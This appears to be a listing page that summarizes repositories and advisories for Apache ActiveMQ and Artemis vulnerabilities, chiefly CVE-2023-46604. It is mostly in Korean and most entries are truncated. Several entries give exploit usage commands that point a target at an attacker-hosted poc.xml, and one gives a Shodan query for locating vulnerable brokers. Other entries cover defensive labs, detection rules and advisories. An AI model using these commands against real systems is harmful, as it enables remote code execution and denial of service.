CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-익스플로잇-for-Apache-ActiveMQ PoC 익스플로잇 for CVE-2025-27533 , Apache ActiveMQ의 서비스 거부DoS 취약점입니다. 이 도구는 악성 OpenWire 패킷을 전송하여 대상 서버의 JVM 힙 메모리를 소진시키고, 결과적으로 포트 61616에서 실행 중인 ActiveMQ 서비스를 중단시킬 수 있습니다. 사용법 python CVE-2025-27533Exploit.py --host --port 61616 --total-packets 2000...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell 이 스크립트는 CVE-2023-46604Apache ActiveMQ를 활용하여 의사 셸pseudo shell을 생성합니다. 이 취약점은 OpenWire 프로토콜 내의 안전하지 않은 역직렬화로 인해 원격 코드 실행을 허용합니다. 설명 CVE-2023-46604는 Apache ActiveMQ의 OpenWire 프로토콜에 존재하는 역직렬화 취약점입니다. 이 결함은 공격자가 ActiveMQ가 실행 중인 서버에서 임의의 코드를 실행하도록 악용될 수 있습니다. 공격자는 악성 XML...

CVE-2023-46604-RCE

CVE-2023-46604-RCE 취약점 Apache ActiveMQ의 OpenWire 전송 언마샬러deserialization에서 역직렬화 취약점이 발생합니다. 영향을 받는 버전은 5.18.0 5.18.2, 5.17.0 5.17.5, 5.16.0 5.16.6, 그리고 5.15.16 이전의 모든 버전입니다. 설정 POC.XML 내의 값을 필요에 따라 변경하십시오 명령어 POC.XML 을 호스팅하십시오 POC.XML URL을 -u 인수를 사용하여 스크립트에 전달하고, 단일 IP 또는 IP 목록을 테스트하십시오 사용 방법:...

CVE-2015-5254

CVE-2015-5254 ActiveMQ 역직렬화 RCE 0x01 포트 61616이 열려 있는지 확인 nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 root@kali: nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 Starting Nmap 7.70 https://nmap.org at 2019-08-30 02:05 EDT Nmap scan report for 10.10.20.166 Host is up 0.00022s latency. PORT STATE...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

프로젝트 참조 이 프로젝트는 https://github.com/X1r0z/ActiveMQ-RCE 프로젝트의 exp를 참조하여 다시 작성한 python 버전의 exp입니다. 사용법 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p 매개변수는 기본적으로 activeMQ의 기본 포트입니다. -x 매개변수는 프로토콜 접두사를 추가해야 합니다. 소개 여기에 openwire 프로토콜의 그림을 첨부하면 이해하기 쉽습니다. 아래는...

CVE-2023-46604

CVE-2023-46604 이 저장소에는 Apache ActiveMQ의 취약점 CVE-2023-46604를 대상으로 하는 익스플로잇 스크립트와 개념 증명PoC XML 파일이 포함되어 있습니다. 이 취약점은 OpenWire 프로토콜 내의 안전하지 않은 역직렬화로 인해 원격 코드 실행을 허용합니다. 설명 CVE-2023-46604는 Apache ActiveMQ의 OpenWire 프로토콜에 존재하는 역직렬화 취약점입니다. 이 결함은 공격자가 ActiveMQ가 실행 중인 서버에서 임의의 코드를 실행하기 위해 악용될 수 있습니다. 이...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQとOpenWireの概要 ActiveMQは、JMSをサポートするクライアントを含むブローカーであり、Javaだけでなく多様な言語を使用するシステム間の通信を可能にします。また、クラスタリング機能やDB、ファイルシステムを通じて各システム間の一貫性と永続性を維持するオープンソースのメッセージングおよび統合パターンサーバーです。 OpenWireは、Apache...

CVE-2023-46604

CVE-2023-46604 CVE-2023-46604용 익스플로잇 이 도구는 이 취약점을 악용하는 데 도움을 줍니다. 대상을 찾기 위한 Shodan 쿼리: product:"ActiveMQ" port:"61616" 도구 사용법: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml 이 CVE 정보:...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire 랩 제 근무 시간 동안 2단계 SOC 분석가로서, 1단계 분석가로부터 공개적으로 접근 가능한 서버가 여러 의심스러운 외부 IP 주소와 통신하고 있다는 에스컬레이션을 받았습니다. 이에 응답하여, 표준 사고 대응IR 절차를 시작했으며, 여기에는 영향을 받은 서버를 네트워크에서 격리하여 측면 이동 및 잠재적인 데이터 유출을 방지하는 것이 포함되었습니다. 그런 다음 추가 조사를 위해 NSM 플랫폼에서 패킷 캡처PCAP 파일을 획득했습니다. 제 목표는...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 면책 조항 이 저장소는 CVE-2023-466064에 대한 개념 증명 코드를 포함하며 엄격히 교육 목적으로 제공됩니다. 저자 및 기여자는 불법 활동을 지지하지 않습니다. 여기에 제시된 정보는 학술, 보안 연구 및 테스트 목적, 그리고 HackTheBox의 Broker 머신의 현재 해결을 위한 것입니다. 이 익스플로잇을 사용함으로써 귀하는 자신의 행동에 대한 전적인 책임을 지는 것에 동의합니다. 저자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인해 발생하는 오용이나 손해에 ...

CVE-2023-46604

공격 기술 요약: CVE-2023-46604 이 스크립트는 Apache ActiveMQ의 안전하지 않은 역직렬화 취약점CVE-2023-46604을 악용하여 대상 서버에서 원격 코드 실행을 달성합니다. 악용 과정 설명 1. 취약점 대상: 취약점은 Apache ActiveMQ의 OpenWire 프로토콜에 존재합니다. 객체의 안전하지 않은 역직렬화를 허용하며, 이를 이용해 서버에서 임의 코드를 실행할 수 있습니다. 2. 사전 요구 사항: ActiveMQ 서버에 대한 네트워크 접근. 대상 서버가 접근 가능한 URL을 통해 제공되는 악...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol 이 저장소는 Apache ActiveMQ에 영향을 미치는 CVE-2023-46604 취약점을 이해하고 탐지하는 데 사용되는 실습 환경을 문서화합니다. 이 프로젝트의 목표: 프로토콜 수준에서 익스플로잇이 어떻게 동작하는지 이해 악성 OpenWire 트래픽 캡처 Suricata를 사용한 탐지 규칙 구축 교육 및 방어적 보안 사용을 위한 단계 문서화 ⚠️ 중요 : 이 저장소는 교육 및 방어적 보안 목적으로 제공됩니다. 여기에는 익스플로잇...

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ 安全バリデータ Apache ActiveMQ CVE-2023-46604 向けの単一ファイル・非破壊型バリデータです。独自のHTTPコールバックサーバーを起動し、ターゲット固有のSpring XMLをメモリ上で生成し、細工されたOpenWireパケットを送信し、一意のトークンでコールバックを関連付け、CSV/JSONの証跡を書き出します。...

CVE-2023-46604-Analysis

CVE-2023-46604 Analysis Apache ActiveMQ CVE-2023-46604의 원인, 코드 경로, 패치 포인트, 재현 결과를 정리한 기술 분석 저장소입니다. 본 문서는 공개된 취약점 CVE-2023-46604에 대한 기술 분석 및 방어 관점의 학습 자료입니다. 모든 실험은 승인된 폐쇄형 테스트 환경에서만 수행되었으며, 비인가 시스템에 대한 적용이나 재현은 불법일 수 있습니다. 본 문서의 내용은 취약점 이해, 패치 검증, 탐지 및 대응 역량 강화를 위한 목적으로만 제공됩니다. Overview...

Apache Artemis 1.0.0 < 2.45.0 / 2.50.0 < 2.57.0 Multiple Vulnerabilities

The version of Apache Artemis formerly Apache ActiveMQ Artemis installed on the remote host is affected by multiple vulnerabilities: - An unauthenticated remote attacker can craft a CORE protocol SESSIONREATTACH packet to steal an existing session and assume ongoing execution of the previously...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...

Missing Authentication for Critical Function

Overview org.apache.artemis:artemis-jakarta-openwire-protocol is a To support OpenWire clients from an embedded broker deployed in a Jakarta environment e.g. Spring Boot 3 Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...